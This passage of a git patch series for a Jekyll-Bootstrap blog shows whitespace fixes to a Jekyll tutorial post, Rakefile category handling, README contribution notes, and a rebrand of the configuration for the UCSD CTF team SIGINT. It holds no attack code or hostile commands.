ENV["category"] || "" slug = title.downcase.strip.gsub(' ', '-').gsub(/[^\w-]/, '') begin date = (ENV['date'] ? Time.parse(ENV['date']) : Time.now).strftime('%Y-%m-%d') @@ -64,7 +65,7 @@ task :post do post.puts "layout: post" post.puts "title: \"#{title.gsub(/-/,' ')}\"" post.puts 'description: ""' - post.puts "category: " + post.puts "category: \"#{category.gsub(/-/,' ')}\"" post.puts "tags: #{tags}" post.puts "---" post.puts "{% include JB/setup %}" From ee1d6b14384345cc5acfce1a7f390102ce6e1ddb Mon Sep 17 00:00:00 2001 From: Marshall Shen <mshen@groupon.com> Date: Wed, 9 Oct 2013 16:48:09 -0500 Subject: [PATCH 135/144] fix parsing error --- .../2011-12-29-jekyll-introduction.md | 116 +++++++++--------- 1 file changed, 58 insertions(+), 58 deletions(-) diff --git a/_posts/core-samples/2011-12-29-jekyll-introduction.md b/_posts/core-samples/2011-12-29-jekyll-introduction.md index 782ef1d..13fe3dc 100644 --- a/_posts/core-samples/2011-12-29-jekyll-introduction.md +++ b/_posts/core-samples/2011-12-29-jekyll-introduction.md @@ -9,7 +9,7 @@ tags : [intro, beginner, jekyll, tutorial] This Jekyll introduction will outline specifically what Jekyll is and why you would want to use it. Directly following the intro we'll learn exactly _how_ Jekyll does what it does. -## Overview +## Overview ### What is Jekyll? @@ -26,7 +26,7 @@ This website is created with Jekyll. [Other Jekyll websites](https://github.com/ Jekyll is a ruby gem you install on your local system. Once there you can call `jekyll --server` on a directory and provided that directory -is setup in a way jekyll expects, it will do magic stuff like parse markdown/textile files, +is setup in a way jekyll expects, it will do magic stuff like parse markdown/textile files, compute categories, tags, permalinks, and construct your pages from layout templates and partials. Once parsed, Jekyll stores the result in a self-contained static `_site` folder. @@ -70,7 +70,7 @@ Be aware that core concepts are introduced in rapid succession without code exam This information is not intended to specifically teach you how to do anything, rather it is intended to give you the _full picture_ relative to what is going on in Jekyll-world. -Learning these core concepts should help you avoid common frustrations and ultimately +Learning these core concepts should help you avoid common frustrations and ultimately help you better understand the code examples contained throughout Jekyll-Bootstrap. @@ -100,24 +100,24 @@ Jekyll expects your website directory to be laid out like so: |-- javascripts -- **\_config.yml** +- **\_config.yml** Stores configuration data. -- **\_includes** +- **\_includes** This folder is for partial views. -- **\_layouts** +- **\_layouts** This folder is for the main templates your content will be inserted into. You can have different layouts for different pages or page sections. -- **\_posts** +- **\_posts** This folder contains your dynamic content/posts. the naming format is required to be `@YEAR-MONTH-DATE-title.MARKUP@`. -- **\_site** - This is where the generated site will be placed once Jekyll is done transforming it. +- **\_site** + This is where the generated site will be placed once Jekyll is done transforming it. -- **assets** +- **assets** This folder is not part of the standard jekyll structure. The assets folder represents _any generic_ folder you happen to create in your root directory. Directories and files not properly formatted for jekyll will be left untouched for you to serve normally. @@ -128,7 +128,7 @@ Jekyll expects your website directory to be laid out like so: ### Jekyll Configuration Jekyll supports various configuration options that are fully outlined here: -<https://github.com/mojombo/jekyll/wiki/Configuration> +(<https://github.com/mojombo/jekyll/wiki/Configuration>) @@ -145,27 +145,27 @@ Both posts and pages can have meta-data assigned on a per-page basis such as tit ### Working With Posts -**Creating a Post** +**Creating a Post** Posts are created by properly formatting a file and placing it the `_posts` folder. -**Formatting** -A post must have a valid filename in the form `YEAR-MONTH-DATE-title.MARKUP` and be placed in the `_posts` directory. +**Formatting** +A post must have a valid filename in the form `YEAR-MONTH-DATE-title.MARKUP` and be placed in the `_posts` directory. If the data format is invalid Jekyll will not recognize the file as a post. The date and title are automatically parsed from the filename of the post file. Additionally, each file must have [YAML Front-Matter](https://github.com/mojombo/jekyll/wiki/YAML-Front-Matter) prepended to its content. YAML Front-Matter is a valid YAML syntax specifying meta-data for the given file. -**Order** +**Order** Ordering is an important part of Jekyll but it is hard to specify a custom ordering strategy. Only reverse chronological and chronological ordering is supported in Jekyll. Since the date is hard-coded into the filename format, to change the order, you must change the dates in the filenames. -**Tags** +**Tags** Posts can have tags associated with them as part of their meta-data. Tags may be placed on posts by providing them in the post's YAML front matter. You have access to the post-specific tags in the templates. These tags also get added to the sitewide collection. -**Categories** +**Categories** Posts may be categorized by providing one or more categories in the YAML front matter. Categories offer more significance over tags in that they can be reflected in the URL path to the given post. Note categories in Jekyll work in a specific way. @@ -182,17 +182,17 @@ You won't find "lessons" and "beginner" as two separate categories unless you de ### Working With Pages -**Creating a Page** +**Creating a Page** Pages are created by properly formatting a file and placing it anywhere in the root directory or subdirectories that do _not_ start with an underscore. -**Formatting** +**Formatting** In order to register as a Jekyll page the file must contain [YAML Front-Matter](https://github.com/mojombo/jekyll/wiki/YAML-Front-Matter). Registering a page means 1) that Jekyll will process the page and 2) that the page object will be available in the `site.pages` array for inclusion into your templates. -**Categories and Tags** +**Categories and Tags** Pages do not compute categories nor tags so defining them will have no effect. -**Sub-Directories** +**Sub-Directories** If pages are defined in sub-directories, the path to the page will be reflected in the url. Example: @@ -204,15 +204,15 @@ Example: This page will be available at `http://yourdomain.com/people/bob/essay.html` -**Recommended Pages** +**Recommended Pages** -- **index.html** +- **index.html** You will always want to define the root index.html page as this will display on your root URL. -- **404.html** +- **404.html** Create a root 404.html page and GitHub Pages will serve it as your 404 response. -- **sitemap.html** +- **sitemap.html** Generating a sitemap is good practice for SEO. -- **about.html** +- **about.html** A nice about page is easy to do and gives the human perspective to your website. @@ -223,14 +223,14 @@ All templates have access to a global site object variable: `site` as well as a The site variable holds all accessible content and metadata relative to the site. The page variable holds accessible data for the given page or post being rendered at that point. -**Create a Template** +**Create a Template** Templates are created by properly formatting a file and placing it in the `_layouts` directory. -**Formatting** -Templates should be coded in HTML and contain YAML Front Matter. +**Formatting** +Templates should be coded in HTML and contain YAML Front Matter. All templates can contain Liquid code to work with your site's data. -**Rending Page/Post Content in a Template** +**Rending Page/Post Content in a Template** There is a special variable in all templates named : `content`. The `content` variable holds the page/post content including any sub-template content previously defined. Render the content variable wherever you want your main content to be injected into your template: @@ -247,7 +247,7 @@ Render the content variable wherever you want your main content to be injected i ### Sub-Templates -Sub-templates are exactly templates with the only difference being they +Sub-templates are exactly templates with the only difference being they define another "root" layout/template within their YAML Front Matter. This essentially means a template will render inside of another template. @@ -267,32 +267,32 @@ This is mainly due to the fact that Jekyll templates must use the Liquid Templat ### What is Liquid? [Liquid](https://github.com/Shopify/liquid) is a secure templating language developed by [Shopify](http://shopify.com). -Liquid is designed for end-users to be able to execute logic within template files +Liquid is designed for end-users to be able to execute logic within template files without imposing any security risk on the hosting server. Jekyll uses Liquid to generate the post content within the final page layout structure and as the primary interface for working with -your site and post/page data. +your site and post/page data. ### Why Do We Have to Use Liquid? -GitHub uses Jekyll to power [GitHub Pages](http://pages.github.com/). +GitHub uses Jekyll to power [GitHub Pages](http://pages.github.com/). GitHub cannot afford to run arbitrary code on their servers so they lock developers down via Liquid. ### Liquid is Not Programmer-Friendly. The short story is liquid is not real code and its not intended to execute real code. The point being you can't do jackshit in liquid that hasn't been allowed explicitly by the implementation. -What's more you can only access data-structures that have been explicitly passed to the template. +What's more you can only access data-structures that have been explicitly passed to the template. -In Jekyll's case it is not possible to alter what is passed to Liquid without hacking the gem or running custom plugins. +In Jekyll's case it is not possible to alter what is passed to Liquid without hacking the gem or running custom plugins. Both of which cannot be supported by GitHub Pages. As a programmer - this is very frustrating. -But rather than look a gift horse in the mouth we are going to +But rather than look a gift horse in the mouth we are going to suck it up and view it as an opportunity to work around limitations and adopt client-side solutions when possible. -**Aside** +**Aside** My personal stance is to not invest time trying to hack liquid. It's really unnecessary _from a programmer's_ perspective. That is to say if you have the ability to run custom plugins (i.e. run arbitrary ruby code) you are better off sticking with ruby. Toward that end I've built [Mustache-with-Jekyll](http://github.com/plusjade/mustache-with-jekyll) @@ -303,7 +303,7 @@ you are better off sticking with ruby. Toward that end I've built [Mustache-with Static assets are any file in the root or non-underscored subfolders that are not pages. That is they have no valid YAML Front Matter and are thus not treated as Jekyll Pages. -Static assets should be used for images, css, and javascript files. +Static assets should be used for images, css, and javascript files. @@ -312,21 +312,21 @@ Static assets should be used for images, css, and javascript files. Remember Jekyll is a processing engine. There are two main types of parsing in Jekyll. -- **Content parsing.** +- **Content parsing.** This is done with textile or markdown. -- **Template parsing.** +- **Template parsing.** This is done with the liquid templating language. And thus there are two main types of file formats needed for this parsing. -- **Post and Page files.** +- **Post and Page files.** All content in Jekyll is either a post or a page so valid posts and pages are parsed with markdown or textile. -- **Template files.** +- **Template files.** These files go in `_layouts` folder and contain your blogs **templates**. They should be made in HTML with the help of Liquid syntax. Since include files are simply injected into templates they are essentially parsed as if they were native to the template. -**Arbitrary files and folders.** -Files that _are not_ valid pages are treated as static content and pass through +**Arbitrary files and folders.** +Files that _are not_ valid pages are treated as static content and pass through Jekyll untouched and reside on your blog in the exact structure and format they originally existed in. ### Formatting Files for Parsing. @@ -363,30 +363,30 @@ That is to say loading a post file into a template file that refers to another t ## How Jekyll Generates the Final Static Files. -Ultimately, Jekyll's job is to generate a static representation of your website. +Ultimately, Jekyll's job is to generate a static representation of your website. The following is an outline of how that's done: -1. **Jekyll collects data.** +1. **Jekyll collects data.** Jekyll scans the posts directory and collects all posts files as post objects. It then scans the layout assets and collects those and finally scans other directories in search of pages. -2. **Jekyll computes data.** - Jekyll takes these objects, computes metadata (permalinks, tags, categories, titles, dates) from them and constructs one +2. **Jekyll computes data.** + Jekyll takes these objects, computes metadata (permalinks, tags, categories, titles, dates) from them and constructs one big `site` object that holds all the posts, pages, layouts, and respective metadata. At this stage your site is one big computed ruby object. -3. **Jekyll liquifies posts and templates.** +3. **Jekyll liquifies posts and templates.** Next jekyll loops through each post file and converts (through markdown or textile) and **liquifies** the post inside of its respective layout(s). - Once the post is parsed and liquified inside the the proper layout structure, the layout itself is "liquified". + Once the post is parsed and liquified inside the the proper layout structure, the layout itself is "liquified". **Liquification** is defined as follows: Jekyll initiates a Liquid template, and passes a simpler hash representation of the ruby site object as well as a simpler hash representation of the ruby post object. These simplified data structures are what you have access to in the templates. - -3. **Jekyll generates output.** + +3. **Jekyll generates output.** Finally the liquid templates are "rendered", thereby processing any liquid syntax provided in the templates and saving the final, static representation of the file. - -**Notes.** -Because Jekyll computes the entire site in one fell swoop, each template is given access to -a global `site` hash that contains useful data. It is this data that you'll iterate through and format + +**Notes.** +Because Jekyll computes the entire site in one fell swoop, each template is given access to +a global `site` hash that contains useful data. It is this data that you'll iterate through and format using the Liquid tags and filters in order to render it onto a given page. Remember, in Jekyll you are an end-user. Your API has only two components: @@ -408,5 +408,5 @@ Jekyll-bootstrap is intended to provide helper methods and strategies aimed at m ## Next Steps -Please take a look at [{{ site.categories.api.first.title }}]({{ BASE_PATH }}{{ site.categories.api.first.url }}) +Please take a look at [{{ site.categories.api.first.title }}]({{ BASE_PATH }}{{ site.categories.api.first.url }}) or jump right into [Usage]({{ BASE_PATH }}{{ site.categories.usage.first.url }}) if you'd like. \ No newline at end of file From 2f6c40b8b2c8321ca3c303b41aed066b765a0a46 Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Thu, 17 Oct 2013 19:22:32 -0700 Subject: [PATCH 136/144] Update readme to point to new separate documentation repository. --- README.md | 30 ++++++++++++------------------ 1 file changed, 12 insertions(+), 18 deletions(-) diff --git a/README.md b/README.md index 7038606..6a90c81 100644 --- a/README.md +++ b/README.md @@ -16,29 +16,23 @@ You might want to run 0.3.0 in a branch to make sure you are ok with the theme d ## Contributing -This repository tracks 2 projects: -- **Jekyll-Bootstrap Framework.** - The framework for which users should clone and build their blog on top of is available in the master branch. +To contribute to the framework please make sure to checkout your branch based on `jb-development`!! +This is very important as it allows me to accept your pull request without having to publish a public version release. - To contribute to the framework please make sure to checkout your branch based on `jb-development`!! - This is very important as it allows me to accept your pull request without having to publish a public version release. +Small, atomic Features, bugs, etc. +Use the `jb-development` branch but note it will likely change fast as pull requests are accepted. +Please rebase as often as possible when working. +Work on small, atomic features/bugs to avoid upstream commits affecting/breaking your development work. - Small, atomic Features, bugs, etc. - Use the `jb-development` branch but note it will likely change fast as pull requests are accepted. - Please rebase as often as possible when working. - Work on small, atomic features/bugs to avoid upstream commits affecting/breaking your development work. +For Big Features or major API extensions/edits: +This is the one case where I'll accept pull-requests based off the master branch. +This allows you to work in isolation but it means I'll have to manually merge your work into the next public release. +Translation : it might take a bit longer so please be patient! (but sincerely thank you). - For Big Features or major API extensions/edits: - This is the one case where I'll accept pull-requests based off the master branch. - This allows you to work in isolation but it means I'll have to manually merge your work into the next public release. - Translation : it might take a bit longer so please be patient! (but sincerely thank you). +**Jekyll-Bootstrap Documentation Website.** -- **Jekyll-Bootstrap Documentation Website.** - The documentation website at <http://jekyllbootstrap.com> is maintained in the gh-pages branch. - Please fork and contribute documentation additions to this branch only. - -The master and gh-pages branch do not share the same ancestry. Please treat them as completely separate git repositories! +The documentation website at <http://jekyllbootstrap.com> is maintained at https://github.com/plusjade/jekyllbootstrap.com ## License From 2fc2e068e6202e3a55e65807cf7d0ca7e851a765 Mon Sep 17 00:00:00 2001 From: Matthew Parnell <matt@parnmatt.co.uk> Date: Wed, 1 Jan 2014 20:37:21 +0000 Subject: [PATCH 137/144] Remove empty quotes when category is empty. When category = "" Should print "category: " to file, current behaviour prints "category: \"\"". Latter creates an actual category, with a blank title. All posts created since this update, without a category explicitly written in `rake` command, or post directly edited, will belong to this category. --- Rakefile | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/Rakefile b/Rakefile index 176c94b..f8f470b 100644 --- a/Rakefile +++ b/Rakefile @@ -47,6 +47,7 @@ task :post do title = ENV["title"] || "new-post" tags = ENV["tags"] || "[]" category = ENV["category"] || "" + category = category.empty? ? "" : "\"#{category.gsub(/-/,' ')}\"" slug = title.downcase.strip.gsub(' ', '-').gsub(/[^\w-]/, '') begin date = (ENV['date'] ? Time.parse(ENV['date']) : Time.now).strftime('%Y-%m-%d') @@ -65,7 +66,7 @@ task :post do post.puts "layout: post" post.puts "title: \"#{title.gsub(/-/,' ')}\"" post.puts 'description: ""' - post.puts "category: \"#{category.gsub(/-/,' ')}\"" + post.puts "category: #{category}" post.puts "tags: #{tags}" post.puts "---" post.puts "{% include JB/setup %}" From a53b4a95dc501a27f402e440b0e8f28cd7b963ab Mon Sep 17 00:00:00 2001 From: Matthew Parnell <matt@parnmatt.co.uk> Date: Wed, 1 Jan 2014 23:41:04 +0000 Subject: [PATCH 138/144] Simpler logic to category patch Replace single line with cleaner, more readable Ruby. --- Rakefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Rakefile b/Rakefile index f8f470b..0c0aa41 100644 --- a/Rakefile +++ b/Rakefile @@ -47,7 +47,7 @@ task :post do title = ENV["title"] || "new-post" tags = ENV["tags"] || "[]" category = ENV["category"] || "" - category = category.empty? ? "" : "\"#{category.gsub(/-/,' ')}\"" + category = "\"#{category.gsub(/-/,' ')}\"" if !category.empty? slug = title.downcase.strip.gsub(' ', '-').gsub(/[^\w-]/, '') begin date = (ENV['date'] ? Time.parse(ENV['date']) : Time.now).strftime('%Y-%m-%d') From ba9d60993986748ce08e05964bbd0ae3e724f354 Mon Sep 17 00:00:00 2001 From: Jake Maskiewicz <jakemaskiewicz@gmail.com> Date: Sun, 6 Apr 2014 12:38:58 -0700 Subject: [PATCH 139/144] removed dummy index --- index.html | 1 - 1 file changed, 1 deletion(-) delete mode 100644 index.html diff --git a/index.html b/index.html deleted file mode 100644 index fd3fa4a..0000000 --- a/index.html +++ /dev/null @@ -1 +0,0 @@ -UCSD CTF From 897b0cdf9a8b97a33be1c862a9cc254a053b35d7 Mon Sep 17 00:00:00 2001 From: Jake M <jakemaskiewicz@gmail.com> Date: Mon, 7 Apr 2014 17:40:10 -0700 Subject: [PATCH 140/144] made things sigint specific --- .gitignore | 1 + _config.yml | 34 +- .../2011-12-29-jekyll-introduction.md | 412 ------------------ index.md | 46 +- 4 files changed, 17 insertions(+), 476 deletions(-) delete mode 100644 _posts/core-samples/2011-12-29-jekyll-introduction.md diff --git a/.gitignore b/.gitignore index d0174fb..67c7aa1 100644 --- a/.gitignore +++ b/.gitignore @@ -8,3 +8,4 @@ Thumbs.db .rbenv-version .rvmrc +*.swp diff --git a/_config.yml b/_config.yml index 17bd3e2..2e0497b 100644 --- a/_config.yml +++ b/_config.yml @@ -8,14 +8,12 @@ pygments: true # Themes are encouraged to use these universal variables # so be sure to set them if your theme uses them. # -title : Jekyll Bootstrap -tagline: Site Tagline +title : SIGINT +tagline: UCSD CTF author : - name : Name Lastname - email : blah@email.test - github : username - twitter : username - feedburner : feedname + name : SIGINT + email : sigint@sigint.ru + github : sigint-ctf # The production_url is only used when full-domain names are needed # such as sitemap.txt @@ -25,7 +23,7 @@ author : # Else if you are pushing to username.github.io, replace with your username. # Finally if you are pushing to a GitHub project page, include the project name at the end. # -production_url : http://username.github.io +production_url : http://sigint.ru # All Jekyll-Bootstrap specific configurations are namespaced into this hash # @@ -82,17 +80,8 @@ JB : comments : provider : disqus disqus : - short_name : jekyllbootstrap - livefyre : - site_id : 123 - intensedebate : - account : 123abc - facebook : - appid : 123 - num_posts: 5 - width: 580 - colorscheme: light - + short_name : sigint + # Settings for analytics helper # Set 'provider' to the analytics provider you want to use. # Set 'provider' to false to turn analytics off globally. @@ -101,13 +90,6 @@ JB : provider : google google : tracking_id : 'UA-123-12' - getclicky : - site_id : - mixpanel : - token : '_MIXPANEL_TOKEN_' - piwik : - baseURL : 'myserver.tld/piwik' # Piwik installation address (without protocol) - idsite : '1' # the id of the site on Piwik # Settings for sharing helper. # Sharing is for things like tweet, plusone, like, reddit buttons etc. diff --git a/_posts/core-samples/2011-12-29-jekyll-introduction.md b/_posts/core-samples/2011-12-29-jekyll-introduction.md deleted file mode 100644 index 13fe3dc..0000000 --- a/_posts/core-samples/2011-12-29-jekyll-introduction.md +++ /dev/null @@ -1,412 +0,0 @@ ---- -layout: post -category : lessons -tagline: "Supporting tagline" -tags : [intro, beginner, jekyll, tutorial] ---- -{% include JB/setup %} - -This Jekyll introduction will outline specifically what Jekyll is and why you would want to use it. -Directly following the intro we'll learn exactly _how_ Jekyll does what it does. - -## Overview - -### What is Jekyll? - -Jekyll is a parsing engine bundled as a ruby gem used to build static websites from -dynamic components such as templates, partials, liquid code, markdown, etc. Jekyll is known as "a simple, blog aware, static site generator". - -### Examples - -This website is created with Jekyll. [Other Jekyll websites](https://github.com/mojombo/jekyll/wiki/Sites). - - - -### What does Jekyll Do? - -Jekyll is a ruby gem you install on your local system. -Once there you can call `jekyll --server` on a directory and provided that directory -is setup in a way jekyll expects, it will do magic stuff like parse markdown/textile files, -compute categories, tags, permalinks, and construct your pages from layout templates and partials. - -Once parsed, Jekyll stores the result in a self-contained static `_site` folder. -The intention here is that you can serve all contents in this folder statically from a plain static web-server. - -You can think of Jekyll as a normalish dynamic blog but rather than parsing content, templates, and tags -on each request, Jekyll does this once _beforehand_ and caches the _entire website_ in a folder for serving statically. - -### Jekyll is Not Blogging Software - -**Jekyll is a parsing engine.** - -Jekyll does not come with any content nor does it have any templates or design elements. -This is a common source of confusion when getting started. -Jekyll does not come with anything you actually use or see on your website - you have to make it. - -### Why Should I Care? - -Jekyll is very minimalistic and very efficient. -The most important thing to realize about Jekyll is that it creates a static representation of your website requiring only a static web-server. -Traditional dynamic blogs like Wordpress require a database and server-side code. -Heavily trafficked dynamic blogs must employ a caching layer that ultimately performs the same job Jekyll sets out to do; serve static content. - -Therefore if you like to keep things simple and you prefer the command-line over an admin panel UI then give Jekyll a try. - -**Developers like Jekyll because we can write content like we write code:** - -- Ability to write content in markdown or textile in your favorite text-editor. -- Ability to write and preview your content via localhost. -- No internet connection required. -- Ability to publish via git. -- Ability to host your blog on a static web-server. -- Ability to host freely on GitHub Pages. -- No database required. - -# How Jekyll Works - -The following is a complete but concise outline of exactly how Jekyll works. - -Be aware that core concepts are introduced in rapid succession without code examples. -This information is not intended to specifically teach you how to do anything, rather it -is intended to give you the _full picture_ relative to what is going on in Jekyll-world. - -Learning these core concepts should help you avoid common frustrations and ultimately -help you better understand the code examples contained throughout Jekyll-Bootstrap. - - -## Initial Setup - -After [installing jekyll](/index.html#start-now) you'll need to format your website directory in a way jekyll expects. -Jekyll-bootstrap conveniently provides the base directory format. - -### The Jekyll Application Base Format - -Jekyll expects your website directory to be laid out like so: - - . - |-- _config.yml - |-- _includes - |-- _layouts - | |-- default.html - | |-- post.html - |-- _posts - | |-- 2011-10-25-open-source-is-good.markdown - | |-- 2011-04-26-hello-world.markdown - |-- _site - |-- index.html - |-- assets - |-- css - |-- style.css - |-- javascripts - - -- **\_config.yml** - Stores configuration data. - -- **\_includes** - This folder is for partial views. - -- **\_layouts** - This folder is for the main templates your content will be inserted into. - You can have different layouts for different pages or page sections. - -- **\_posts** - This folder contains your dynamic content/posts. - the naming format is required to be `@YEAR-MONTH-DATE-title.MARKUP@`. - -- **\_site** - This is where the generated site will be placed once Jekyll is done transforming it. - -- **assets** - This folder is not part of the standard jekyll structure. - The assets folder represents _any generic_ folder you happen to create in your root directory. - Directories and files not properly formatted for jekyll will be left untouched for you to serve normally. - -(read more: <https://github.com/mojombo/jekyll/wiki/Usage>) - - -### Jekyll Configuration - -Jekyll supports various configuration options that are fully outlined here: -(<https://github.com/mojombo/jekyll/wiki/Configuration>) - - - - -## Content in Jekyll - -Content in Jekyll is either a post or a page. -These content "objects" get inserted into one or more templates to build the final output for its respective static-page. - -### Posts and Pages - -Both posts and pages should be written in markdown, textile, or HTML and may also contain Liquid templating syntax. -Both posts and pages can have meta-data assigned on a per-page basis such as title, url path, as well as arbitrary custom meta-data. - -### Working With Posts - -**Creating a Post** -Posts are created by properly formatting a file and placing it the `_posts` folder. - -**Formatting** -A post must have a valid filename in the form `YEAR-MONTH-DATE-title.MARKUP` and be placed in the `_posts` directory. -If the data format is invalid Jekyll will not recognize the file as a post. The date and title are automatically parsed from the filename of the post file. -Additionally, each file must have [YAML Front-Matter](https://github.com/mojombo/jekyll/wiki/YAML-Front-Matter) prepended to its content. -YAML Front-Matter is a valid YAML syntax specifying meta-data for the given file. - -**Order** -Ordering is an important part of Jekyll but it is hard to specify a custom ordering strategy. -Only reverse chronological and chronological ordering is supported in Jekyll. - -Since the date is hard-coded into the filename format, to change the order, you must change the dates in the filenames. - -**Tags** -Posts can have tags associated with them as part of their meta-data. -Tags may be placed on posts by providing them in the post's YAML front matter. -You have access to the post-specific tags in the templates. These tags also get added to the sitewide collection. - -**Categories** -Posts may be categorized by providing one or more categories in the YAML front matter. -Categories offer more significance over tags in that they can be reflected in the URL path to the given post. -Note categories in Jekyll work in a specific way. -If you define more than one category you are defining a category hierarchy "set". -Example: - - --- - title : Hello World - categories : [lessons, beginner] - --- - -This defines the category hierarchy "lessons/beginner". Note this is _one category_ node in Jekyll. -You won't find "lessons" and "beginner" as two separate categories unless you define them elsewhere as singular categories. - -### Working With Pages - -**Creating a Page** -Pages are created by properly formatting a file and placing it anywhere in the root directory or subdirectories that do _not_ start with an underscore. - -**Formatting** -In order to register as a Jekyll page the file must contain [YAML Front-Matter](https://github.com/mojombo/jekyll/wiki/YAML-Front-Matter). -Registering a page means 1) that Jekyll will process the page and 2) that the page object will be available in the `site.pages` array for inclusion into your templates. - -**Categories and Tags** -Pages do not compute categories nor tags so defining them will have no effect. - -**Sub-Directories** -If pages are defined in sub-directories, the path to the page will be reflected in the url. -Example: - - . - |-- people - |-- bob - |-- essay.html - -This page will be available at `http://yourdomain.com/people/bob/essay.html` - - -**Recommended Pages** - -- **index.html** - You will always want to define the root index.html page as this will display on your root URL. -- **404.html** - Create a root 404.html page and GitHub Pages will serve it as your 404 response. -- **sitemap.html** - Generating a sitemap is good practice for SEO. -- **about.html** - A nice about page is easy to do and gives the human perspective to your website. - - -## Templates in Jekyll - -Templates are used to contain a page's or post's content. -All templates have access to a global site object variable: `site` as well as a page object variable: `page`. -The site variable holds all accessible content and metadata relative to the site. -The page variable holds accessible data for the given page or post being rendered at that point. - -**Create a Template** -Templates are created by properly formatting a file and placing it in the `_layouts` directory. - -**Formatting** -Templates should be coded in HTML and contain YAML Front Matter. -All templates can contain Liquid code to work with your site's data. - -**Rending Page/Post Content in a Template** -There is a special variable in all templates named : `content`. -The `content` variable holds the page/post content including any sub-template content previously defined. -Render the content variable wherever you want your main content to be injected into your template: - -{% capture text %}... -<body> - <div id="sidebar"> ... </div> - <div id="main"> - |.{content}.| - </div> -</body> -...{% endcapture %} -{% include JB/liquid_raw %} - -### Sub-Templates - -Sub-templates are exactly templates with the only difference being they -define another "root" layout/template within their YAML Front Matter. -This essentially means a template will render inside of another template. - -### Includes -In Jekyll you can define include files by placing them in the `_includes` folder. -Includes are NOT templates, rather they are just code snippets that get included into templates. -In this way, you can treat the code inside includes as if it was native to the parent template. - -Any valid template code may be used in includes. - - -## Using Liquid for Templating - -Templating is perhaps the most confusing and frustrating part of Jekyll. -This is mainly due to the fact that Jekyll templates must use the Liquid Templating Language. - -### What is Liquid? - -[Liquid](https://github.com/Shopify/liquid) is a secure templating language developed by [Shopify](http://shopify.com). -Liquid is designed for end-users to be able to execute logic within template files -without imposing any security risk on the hosting server. - -Jekyll uses Liquid to generate the post content within the final page layout structure and as the primary interface for working with -your site and post/page data. - -### Why Do We Have to Use Liquid? - -GitHub uses Jekyll to power [GitHub Pages](http://pages.github.com/). -GitHub cannot afford to run arbitrary code on their servers so they lock developers down via Liquid. - -### Liquid is Not Programmer-Friendly. - -The short story is liquid is not real code and its not intended to execute real code. -The point being you can't do jackshit in liquid that hasn't been allowed explicitly by the implementation. -What's more you can only access data-structures that have been explicitly passed to the template. - -In Jekyll's case it is not possible to alter what is passed to Liquid without hacking the gem or running custom plugins. -Both of which cannot be supported by GitHub Pages. - -As a programmer - this is very frustrating. - -But rather than look a gift horse in the mouth we are going to -suck it up and view it as an opportunity to work around limitations and adopt client-side solutions when possible. - -**Aside** -My personal stance is to not invest time trying to hack liquid. It's really unnecessary -_from a programmer's_ perspective. That is to say if you have the ability to run custom plugins (i.e. run arbitrary ruby code) -you are better off sticking with ruby. Toward that end I've built [Mustache-with-Jekyll](http://github.com/plusjade/mustache-with-jekyll) - - -## Static Assets - -Static assets are any file in the root or non-underscored subfolders that are not pages. -That is they have no valid YAML Front Matter and are thus not treated as Jekyll Pages. - -Static assets should be used for images, css, and javascript files. - - - - -## How Jekyll Parses Files - -Remember Jekyll is a processing engine. There are two main types of parsing in Jekyll. - -- **Content parsing.** - This is done with textile or markdown. -- **Template parsing.** - This is done with the liquid templating language. - -And thus there are two main types of file formats needed for this parsing. - -- **Post and Page files.** - All content in Jekyll is either a post or a page so valid posts and pages are parsed with markdown or textile. -- **Template files.** - These files go in `_layouts` folder and contain your blogs **templates**. They should be made in HTML with the help of Liquid syntax. - Since include files are simply injected into templates they are essentially parsed as if they were native to the template. - -**Arbitrary files and folders.** -Files that _are not_ valid pages are treated as static content and pass through -Jekyll untouched and reside on your blog in the exact structure and format they originally existed in. - -### Formatting Files for Parsing. - -We've outlined the need for valid formatting using **YAML Front Matter**. -Templates, posts, and pages all need to provide valid YAML Front Matter even if the Matter is empty. -This is the only way Jekyll knows you want the file processed. - -YAML Front Matter must be prepended to the top of template/post/page files: - - --- - layout: post - category : pages - tags : [how-to, jekyll] - --- - - ... contents ... - -Three hyphens on a new line start the Front-Matter block and three hyphens on a new line end the block. -The data inside the block must be valid YAML. - -Configuration parameters for YAML Front-Matter is outlined here: -[A comprehensive explanation of YAML Front Matter](https://github.com/mojombo/jekyll/wiki/YAML-Front-Matter) - -#### Defining Layouts for Posts and Templates Parsing. - -The `layout` parameter in the YAML Front Matter defines the template file for which the given post or template should be injected into. -If a template file specifies its own layout, it is effectively being used as a `sub-template.` -That is to say loading a post file into a template file that refers to another template file with work in the way you'd expect; as a nested sub-template. - - - - - -## How Jekyll Generates the Final Static Files. - -Ultimately, Jekyll's job is to generate a static representation of your website. -The following is an outline of how that's done: - -1. **Jekyll collects data.** - Jekyll scans the posts directory and collects all posts files as post objects. It then scans the layout assets and collects those and finally scans other directories in search of pages. - -2. **Jekyll computes data.** - Jekyll takes these objects, computes metadata (permalinks, tags, categories, titles, dates) from them and constructs one - big `site` object that holds all the posts, pages, layouts, and respective metadata. - At this stage your site is one big computed ruby object. - -3. **Jekyll liquifies posts and templates.** - Next jekyll loops through each post file and converts (through markdown or textile) and **liquifies** the post inside of its respective layout(s). - Once the post is parsed and liquified inside the the proper layout structure, the layout itself is "liquified". - **Liquification** is defined as follows: Jekyll initiates a Liquid template, and passes a simpler hash representation of the ruby site object as well as a simpler - hash representation of the ruby post object. These simplified data structures are what you have access to in the templates. - -3. **Jekyll generates output.** - Finally the liquid templates are "rendered", thereby processing any liquid syntax provided in the templates - and saving the final, static representation of the file. - -**Notes.** -Because Jekyll computes the entire site in one fell swoop, each template is given access to -a global `site` hash that contains useful data. It is this data that you'll iterate through and format -using the Liquid tags and filters in order to render it onto a given page. - -Remember, in Jekyll you are an end-user. Your API has only two components: - -1. The manner in which you setup your directory. -2. The liquid syntax and variables passed into the liquid templates. - -All the data objects available to you in the templates via Liquid are outlined in the **API Section** of Jekyll-Bootstrap. -You can also read the original documentation here: <https://github.com/mojombo/jekyll/wiki/Template-Data> - -## Conclusion - -I hope this paints a clearer picture of what Jekyll is doing and why it works the way it does. -As noted, our main programming constraint is the fact that our API is limited to what is accessible via Liquid and Liquid only. - -Jekyll-bootstrap is intended to provide helper methods and strategies aimed at making it more intuitive and easier to work with Jekyll =) - -**Thank you** for reading this far. - -## Next Steps - -Please take a look at [{{ site.categories.api.first.title }}]({{ BASE_PATH }}{{ site.categories.api.first.url }}) -or jump right into [Usage]({{ BASE_PATH }}{{ site.categories.usage.first.url }}) if you'd 